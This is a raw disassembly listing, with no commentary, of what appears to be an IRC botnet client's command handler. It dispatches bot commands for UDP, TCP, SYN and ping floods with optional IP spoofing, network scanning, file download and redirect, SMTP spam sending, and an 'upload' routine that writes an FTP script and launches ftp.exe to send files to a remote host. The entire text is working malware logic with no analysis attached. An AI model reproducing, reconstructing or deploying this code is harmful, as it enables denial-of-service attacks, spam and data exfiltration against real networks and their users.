		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080CB
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		mov	[ebp+8], eax
		jz	loc_401D6C
		push	dword ptr [ebp+10h]
		push	offset aClone_0	; "clone"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FE3
		push	dword ptr [ebp+10h]
		push	offset aC	; "c"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FE3
		push	dword ptr [ebp+10h]
		push	offset aUsa_syn	; "usa.syn"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EEA
		push	dword ptr [ebp+10h]
		push	offset aUsa_ack	; "usa.ack"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EEA
		push	dword ptr [ebp+10h]
		push	offset aUsa_rm	; "usa.rm"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EEA
		push	dword ptr [ebp+10h]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40675D
		push	7Fh
		lea	eax, [ebp-327Ch]
		pop	esi
		push	esi
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-31FCh]
		push	edi
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-317Ch]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-30FCh]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41BCA0
		mov	eax, [ebp-8]
		mov	edi, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	[ebp-3074h], eax
		push	ebx
		lea	eax, [ebp-2C0h]
		push	13h
		push	eax
		mov	[ebp-3078h], edi
		mov	[ebp-3280h], esi
		call	sub_40B00E
		add	esp, 3Ch
		mov	[ebp-307Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3280h]
		push	ebx
		push	eax
		push	offset dword_414CC0
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-307Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_40674C


loc_406736:				; CODE XREF: .nsp0:0040674Aj
		cmp	[ebp-3070h], ebx
		jnz	loc_403ED6
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_406736
; ---------------------------------------------------------------------------


loc_40674C:				; CODE XREF: .nsp0:00406734j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4319D0
		jmp	loc_403EC7
; ---------------------------------------------------------------------------


loc_40675D:				; CODE XREF: .nsp0:0040668Aj
		push	dword ptr [ebp+10h]
		push	offset aSyod	; "syod"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E02
		push	dword ptr [ebp+10h]
		push	offset aSy1	; "sy1"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E02
		push	dword ptr [ebp+10h]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40688A
		push	7Fh
		lea	eax, [ebp-36A4h]
		pop	esi
		push	esi
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-3624h]
		push	edi
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-35A4h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-3524h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41BCA0
		push	dword ptr [ebp+8]
		mov	eax, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	[ebp-34A0h], eax
		mov	eax, [ebp-8]
		push	edi
		push	dword ptr [ebp+18h]
		mov	[ebp-349Ch], eax
		lea	eax, [ebp-2C0h]
		mov	[ebp-36A8h], esi
		push	offset dword_43198C
		push	eax
		call	sub_41BF36
		add	esp, 44h
		lea	eax, [ebp-2C0h]
		push	ebx
		push	10h
		push	eax
		call	sub_40B00E
		add	esp, 0Ch
		mov	[ebp-34A4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-36A8h]
		push	ebx
		push	eax
		push	offset byte_413C25
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-34A4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_406879


loc_406863:				; CODE XREF: .nsp0:00406877j
		cmp	[ebp-3498h], ebx
		jnz	loc_407202
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_406863
; ---------------------------------------------------------------------------


loc_406879:				; CODE XREF: .nsp0:00406861j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_431950
		jmp	loc_4071F3
; ---------------------------------------------------------------------------


loc_40688A:				; CODE XREF: .nsp0:0040679Cj
		push	dword ptr [ebp+10h]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D1A
		push	dword ptr [ebp+10h]
		push	offset aWonk	; "wonk"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D1A
		push	dword ptr [ebp+10h]
		push	offset aDownload1 ; "download1"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BDF
		push	dword ptr [ebp+10h]
		push	offset aD1	; "d1"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BDF
		push	dword ptr [ebp+10h]
		push	offset aRedirect ; "redirect"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407AE5
		push	dword ptr [ebp+10h]
		push	offset aRd	; "rd"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407AE5
		push	dword ptr [ebp+10h]
		push	offset aScan	; "scan"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4079F2
		push	dword ptr [ebp+10h]
		push	offset aSc	; "sc"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4079F2
		push	dword ptr [ebp+10h]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407915
		push	dword ptr [ebp+10h]
		push	offset aC_pm	; "c_pm"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407915
		push	dword ptr [ebp+10h]
		push	offset aC_action ; "c_action"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4077FB
		push	dword ptr [ebp+10h]
		push	offset aC_a	; "c_a"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4077FB
		mov	eax, [ebp+esi-80h]
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	loc_401D6C
		push	dword ptr [ebp+10h]
		push	offset aPortscan ; "portscan"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4076F5
		push	dword ptr [ebp+10h]
		push	offset aPsc	; "psc"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4076F5
		push	dword ptr [ebp+10h]
		push	offset aAdvscan	; "advscan"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407222
		push	dword ptr [ebp+10h]
		push	offset aVv	; "vv"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407222
		push	dword ptr [ebp+10h]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070DC
		push	dword ptr [ebp+10h]
		push	offset aPu1	; "pu1"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070DC
		push	dword ptr [ebp+10h]
		push	offset aU	; "u"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070DC
		push	dword ptr [ebp+10h]
		push	offset aNetsend	; "netsend"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FCE
		push	dword ptr [ebp+10h]
		push	offset aNs	; "ns"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FCE
		push	dword ptr [ebp+10h]
		push	offset aPingflood ; "pingflood"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406EA7
		push	dword ptr [ebp+10h]
		push	offset aPing_0	; "ping"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406EA7
		push	dword ptr [ebp+10h]
		push	offset aP	; "p"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406EA7
		push	dword ptr [ebp+10h]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406CF5
		push	dword ptr [ebp+10h]
		push	offset aUsa	; "usa"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406CF5
		push	dword ptr [ebp+10h]
		push	offset aEmail	; "email"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406C9D
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-47ECh]
		push	eax
		call	sub_41C550
		push	edi
		call	sub_41BE29
		push	dword ptr [ebp+8]
		mov	[ebp+18h], eax
		lea	eax, [ebp-4188h]
		push	eax
		call	sub_41C550
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-4588h]
		push	eax
		call	sub_41C550
		push	offset asc_43368C ; " "
		push	offset dword_4321D0
		push	dword ptr [ebp+esi-7Ch]
		call	sub_41869A
		push	eax
		lea	eax, [ebp-4288h]
		push	eax
		call	sub_41C550
		add	esp, 30h
		lea	eax, [ebp-5588h]
		push	eax
		push	101h
		call	dword_4D1160	; WSAStartup
		lea	eax, [ebp-47ECh]
		push	eax
		call	dword_4D1274	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4D1270	; socket
		push	dword ptr [ebp+18h]
		mov	esi, eax
		mov	word ptr [ebp-31Ch], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-318h], eax
		call	dword_4D11F0	; ntohs
		mov	[ebp-31Ah], ax
		lea	eax, [ebp-4288h]
		push	eax
		lea	eax, [ebp-4188h]
		push	eax
		lea	eax, [ebp-4288h]
		push	eax
		lea	eax, [ebp-4588h]
		push	eax
		lea	eax, [ebp-4188h]
		push	eax
		lea	eax, [ebp-5988h]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41BF36
		add	esp, 1Ch
		lea	eax, [ebp-31Ch]
		push	10h
		push	eax
		push	esi
		call	dword_4D1198	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp-4088h]
		push	edi
		push	eax
		push	esi
		call	dword_4D1208	; recv
		lea	eax, [ebp-4088h]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp-5988h]
		push	eax
		push	esi
		call	dword_4D1240	; send
		push	ebx
		lea	eax, [ebp-4088h]
		push	edi
		push	eax
		push	esi
		call	dword_4D1208	; recv
		push	esi
		call	dword_4D1288	; closesocket
		call	dword_4D1148	; WSACleanup
		lea	eax, [ebp-4588h]
		push	eax
		push	offset unk_431824


loc_406C56:				; CODE XREF: .nsp0:00404979j
					; .nsp0:004080C6j ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36


loc_406C62:				; CODE XREF: .nsp0:00403F53j
		add	esp, 0Ch


loc_406C65:				; CODE XREF: .nsp0:00405F8Bj
					; .nsp0:00405FE3j ...
		cmp	[ebp-8], ebx
		jnz	short loc_406C86
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_406C86:				; CODE XREF: .nsp0:0040447Fj
					; .nsp0:004044D2j ...
		mov	esi, [ebp+2Ch]


loc_406C89:				; CODE XREF: .nsp0:0040833Fj
					; .nsp0:0040931Fj ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		pop	ecx
		mov	eax, esi
		jmp	loc_401D6F
; ---------------------------------------------------------------------------


loc_406C9D:				; CODE XREF: .nsp0:00406B00j
		push	dword ptr [ebp+10h]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CC7
		push	dword ptr [ebp+10h]
		push	offset aHcon	; "hcon"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407272


loc_406CC7:				; CODE XREF: .nsp0:00406CAEj
		push	dword ptr [ebp+esi-7Ch]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+8]
		push	edi
		call	sub_41BE29
		pop	ecx
		push	eax
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_41088B
		jmp	loc_4097B5
; ---------------------------------------------------------------------------


loc_406CF5:				; CODE XREF: .nsp0:00406AD2j
					; .nsp0:00406AE9j
		push	dword ptr [ebp+18h]
		mov	esi, 80h
		lea	eax, [ebp-1354h]
		push	esi
		push	eax
		call	sub_41C030
		lea	eax, [ebp-1354h]
		push	eax
		push	offset aSy1	; "sy1"
		call	sub_41C710
		add	esp, 14h
		test	eax, eax
		jz	short loc_406D5A
		lea	eax, [ebp-1354h]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D5A
		lea	eax, [ebp-1354h]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D5A
		push	offset unk_4317E4
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_406D5A:				; CODE XREF: .nsp0:00406D20j
					; .nsp0:00406D37j ...
		push	dword ptr [ebp+20h]
		call	sub_41BE29
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-124Ch], eax
		jle	loc_406E8F
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-1354h]
		push	esi
		push	eax
		call	sub_41C030
		push	edi
		lea	eax, [ebp-13D4h]
		push	esi
		push	eax
		call	sub_41C030
		push	dword ptr [ebp+8]
		call	sub_41BE29
		mov	[ebp-1250h], eax
		xor	eax, eax
		cmp	[ebp-8EEh], bl
		push	dword ptr [ebp-88h]
		setnz	al
		mov	[ebp-1248h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-13D8h], eax
		lea	eax, [ebp-12D4h]
		push	esi
		push	eax
		call	sub_41C030
		mov	eax, [ebp-4]
		add	esp, 28h
		cmp	[ebp-1248h], ebx
		mov	[ebp-1244h], eax
		mov	eax, [ebp-8]
		mov	[ebp-1240h], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406DF1
		mov	eax, offset aNormal ; "Normal"


loc_406DF1:				; CODE XREF: .nsp0:00406DEAj
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+8]
		push	edi
		push	dword ptr [ebp+18h]
		push	eax
		push	offset unk_4317A0
		lea	eax, [ebp-2C0h]
		push	200h
		push	eax
		call	sub_41C030
		push	ebx
		lea	eax, [ebp-2C0h]
		push	14h
		push	eax
		call	sub_40B00E
		add	esp, 2Ch
		mov	[ebp-1254h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-13D8h]
		push	ebx
		push	eax
		push	offset dword_41442C
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-1254h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_406E6F


loc_406E59:				; CODE XREF: .nsp0:00406E6Dj
		cmp	[ebp-123Ch], ebx
		jnz	loc_40820E
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_406E59
; ---------------------------------------------------------------------------


loc_406E6F:				; CODE XREF: .nsp0:00406E57j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_431768


loc_406E7B:				; CODE XREF: .nsp0:00403C1Dj
					; .nsp0:004049CEj ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36


loc_406E87:				; CODE XREF: .nsp0:00406FC9j
		add	esp, 0Ch
		jmp	loc_40820E
; ---------------------------------------------------------------------------


loc_406E8F:				; CODE XREF: .nsp0:00406D6Bj
		push	offset unk_431730


loc_406E94:				; CODE XREF: .nsp0:00403AE6j
					; .nsp0:00403AFCj ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		jmp	loc_40820E
; ---------------------------------------------------------------------------


loc_406EA7:				; CODE XREF: .nsp0:00406A8Dj
					; .nsp0:00406AA4j ...
		cmp	dword_4D12E0, ebx
		jnz	loc_406FB3
		mov	eax, [ebp-8]
		push	7Fh
		push	dword ptr [ebp+18h]
		mov	[ebp-0FF4h], eax
		mov	eax, [ebp-4]
		mov	[ebp-0FF8h], eax
		lea	eax, [ebp-108Ch]
		push	eax
		call	sub_41BCA0
		push	edi
		call	sub_41BE29
		push	dword ptr [ebp+8]
		mov	[ebp-100Ch], eax
		call	sub_41BE29
		push	dword ptr [ebp+20h]
		mov	[ebp-1008h], eax
		call	sub_41BE29
		push	7Fh
		mov	[ebp-1004h], eax
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-110Ch]
		push	eax
		call	sub_41BCA0
		push	dword ptr [ebp-1004h]
		mov	eax, [ebp+0Ch]
		mov	[ebp-1110h], eax
		lea	eax, [ebp-108Ch]
		push	dword ptr [ebp-1008h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-100Ch]
		push	offset unk_4316E8
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	16h
		push	eax
		call	sub_40B00E
		add	esp, 48h
		mov	[ebp-0FFCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1110h]
		push	ebx
		push	eax
		push	offset byte_413883
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-0FFCh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_406FA2


loc_406F8C:				; CODE XREF: .nsp0:00406FA0j
		cmp	[ebp-0FF0h], ebx
		jnz	loc_40820E
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_406F8C
; ---------------------------------------------------------------------------


loc_406FA2:				; CODE XREF: .nsp0:00406F8Aj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4316B0
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_406FB3:				; CODE XREF: .nsp0:00406EADj
		push	1FFh
		lea	eax, [ebp-2C0h]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41BCA0
		jmp	loc_406E87
; ---------------------------------------------------------------------------


loc_406FCE:				; CODE XREF: .nsp0:00406A5Fj
					; .nsp0:00406A76j
		push	edi
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+8]
		push	offset unk_43165C
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		push	dword ptr [ebp+8]
		call	sub_41B890
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41B890
		push	dword ptr [ebp+18h]
		add	edi, eax
		call	sub_41B890
		push	dword ptr [ebp+10h]
		add	edi, eax
		call	sub_41B890
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+20h]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41BFB0
		add	esp, 40h
		mov	[ebp+14h], eax
		push	dword ptr [ebp+8]
		call	sub_41BE29
		mov	edi, [ebp+28h]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+1Ch], eax
		mov	[ebp+24h], ebx
		jle	short loc_4070C8


loc_407051:				; CODE XREF: .nsp0:00407075j
		push	dword ptr [ebp+14h]
		push	edi
		push	dword ptr [ebp+18h]
		call	sub_418E3D
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+28h], eax
		jz	short loc_407079
		cmp	eax, ebx
		jnz	short loc_407098
		inc	dword ptr [ebp+24h]
		mov	eax, [ebp+24h]
		cmp	eax, [ebp+1Ch]
		jl	short loc_407051
		jmp	short loc_4070D1
; ---------------------------------------------------------------------------


loc_407079:				; CODE XREF: .nsp0:00407066j
		push	ebx
		push	dword ptr [ebp-4]
		push	offset unk_431624


loc_407082:				; CODE XREF: .nsp0:004070DAj
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h
		jmp	loc_407272
; ---------------------------------------------------------------------------


loc_407098:				; CODE XREF: .nsp0:0040706Aj
		push	dword ptr [ebp+28h]
		lea	eax, [ebp-2C0h]
		push	offset unk_4315F0
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 20h


loc_4070C8:				; CODE XREF: .nsp0:0040704Fj
		cmp	[ebp+28h], ebx
		jnz	loc_407272


loc_4070D1:				; CODE XREF: .nsp0:00407077j
		push	ebx
		push	dword ptr [ebp-4]
		push	offset unk_4315BC
		jmp	short loc_407082
; ---------------------------------------------------------------------------


loc_4070DC:				; CODE XREF: .nsp0:00406A1Aj
					; .nsp0:00406A31j ...
		mov	eax, [ebp-8]
		push	7Fh
		push	dword ptr [ebp+18h]
		mov	[ebp-0C64h], eax
		mov	eax, [ebp-4]
		mov	[ebp-0C68h], eax
		lea	eax, [ebp-0CFCh]
		push	eax
		call	sub_41BCA0
		push	edi
		call	sub_41BE29
		push	dword ptr [ebp+8]
		mov	[ebp-0C7Ch], eax
		call	sub_41BE29
		push	dword ptr [ebp+20h]
		mov	[ebp-0C78h], eax
		call	sub_41BE29
		mov	esi, [ebp+esi-7Ch]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp-0C74h], eax
		jz	short loc_407141
		push	esi
		call	sub_41BE29
		pop	ecx
		mov	[ebp-0C70h], eax
		jmp	short loc_407147
; ---------------------------------------------------------------------------


loc_407141:				; CODE XREF: .nsp0:00407130j
		mov	[ebp-0C70h], ebx


loc_407147:				; CODE XREF: .nsp0:0040713Fj
		push	7Fh
		lea	eax, [ebp-0D7Ch]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41BCA0
		push	dword ptr [ebp-0C74h]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-0CFCh]
		mov	[ebp-0D80h], esi
		push	dword ptr [ebp-0C78h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-0C7Ch]
		push	offset unk_431574
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	17h
		push	eax
		call	sub_40B00E
		add	esp, 30h
		mov	[ebp-0C6Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0D80h]
		push	ebx
		push	eax
		push	offset byte_413A0F
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-0C6Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_4071E7


loc_4071D5:				; CODE XREF: .nsp0:004071E5j
		cmp	[ebp-0C60h], ebx
		jnz	short loc_407202
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_4071D5
; ---------------------------------------------------------------------------


loc_4071E7:				; CODE XREF: .nsp0:004071D3j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43153C


loc_4071F3:				; CODE XREF: .nsp0:00406885j
					; .nsp0:00407D15j ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_407202:				; CODE XREF: .nsp0:00406869j
					; .nsp0:004071DBj ...
		cmp	[ebp-8], ebx
		jnz	loc_40833C
		push	ebx
		push	dword ptr [ebp-4]


loc_40720F:				; CODE XREF: .nsp0:00403EE1j
		lea	eax, [ebp-2C0h]
		push	eax
		push	dword ptr [ebp-88h]
		push	esi
		jmp	loc_40822B
; ---------------------------------------------------------------------------


loc_407222:				; CODE XREF: .nsp0:004069ECj
					; .nsp0:00406A03j
		push	0Bh
		call	sub_40B256
		push	edi
		mov	[ebp+24h], eax
		call	sub_41BE29
		add	eax, [ebp+24h]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_4073EA
		push	dword ptr [ebp+24h]
		lea	eax, [ebp-2C0h]
		push	offset unk_4314FC
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 20h


loc_407272:				; CODE XREF: .nsp0:00406CC1j
					; .nsp0:00407093j ...
		mov	esi, [ebp+esi-7Ch]
		cmp	esi, ebx
		jz	loc_401D6C
		push	dword ptr [ebp+10h]
		push	offset aUpload	; "upload"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4097B8
		push	4
		push	esi
		call	sub_416F11
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4072BD
		push	esi
		push	offset unk_4314DC


loc_4072A9:				; CODE XREF: .nsp0:00409570j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	loc_409588
; ---------------------------------------------------------------------------


loc_4072BD:				; CODE XREF: .nsp0:004072A1j
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		pop	ecx
		call	sub_41BF92
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41BF92
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41BF92
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp-51F8h]
		push	edx
		push	eax
		lea	eax, [ebp-2E58h]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2E58h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BBB8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+2Ch], eax
		jz	loc_401D6C
		push	esi
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+8]
		push	edi
		push	dword ptr [ebp+18h]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41C49F
		push	dword ptr [ebp+2Ch]
		call	sub_41B90B
		lea	eax, [ebp-2E58h]
		push	eax
		lea	eax, [ebp-4CF0h]
		push	offset aSS_3	; "-s:%s"
		push	eax
		call	sub_41BF36
		add	esp, 2Ch
		lea	eax, [ebp-4CF0h]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4D115C	; ShellExecuteA
		push	dword ptr [ebp+18h]
		test	eax, eax
		push	esi
		jz	short loc_407389
		push	offset unk_43146C
		jmp	short loc_40738E
; ---------------------------------------------------------------------------


loc_407389:				; CODE XREF: .nsp0:00407380j
		push	offset unk_43143C


loc_40738E:				; CODE XREF: .nsp0:00407387j
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_4073B7
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_4073B7:				; CODE XREF: .nsp0:00407399j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6


loc_4073C3:				; CODE XREF: .nsp0:004073E8j
		lea	eax, [ebp-2E58h]
		push	4
		push	eax
		call	sub_416F11
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401D6C
		lea	eax, [ebp-2E58h]
		push	eax
		call	sub_41C475
		jmp	short loc_4073C3
; ---------------------------------------------------------------------------


loc_4073EA:				; CODE XREF: .nsp0:0040723Cj
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		push	edi
		mov	[ebp-370h], eax
		call	sub_41BE29
		push	dword ptr [ebp+8]
		mov	[ebp-358h], eax
		call	sub_41BE29
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp-36Ch], eax
		jnb	short loc_407423
		push	5
		pop	eax
		mov	[ebp-36Ch], eax


loc_407423:				; CODE XREF: .nsp0:00407418j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_407430
		mov	[ebp-36Ch], ecx


loc_407430:				; CODE XREF: .nsp0:00407428j
		push	dword ptr [ebp+20h]
		call	sub_41BE29
		mov	[ebp-368h], eax
		mov	eax, 320h
		cmp	[ebp-368h], eax
		pop	ecx
		jbe	short loc_407452
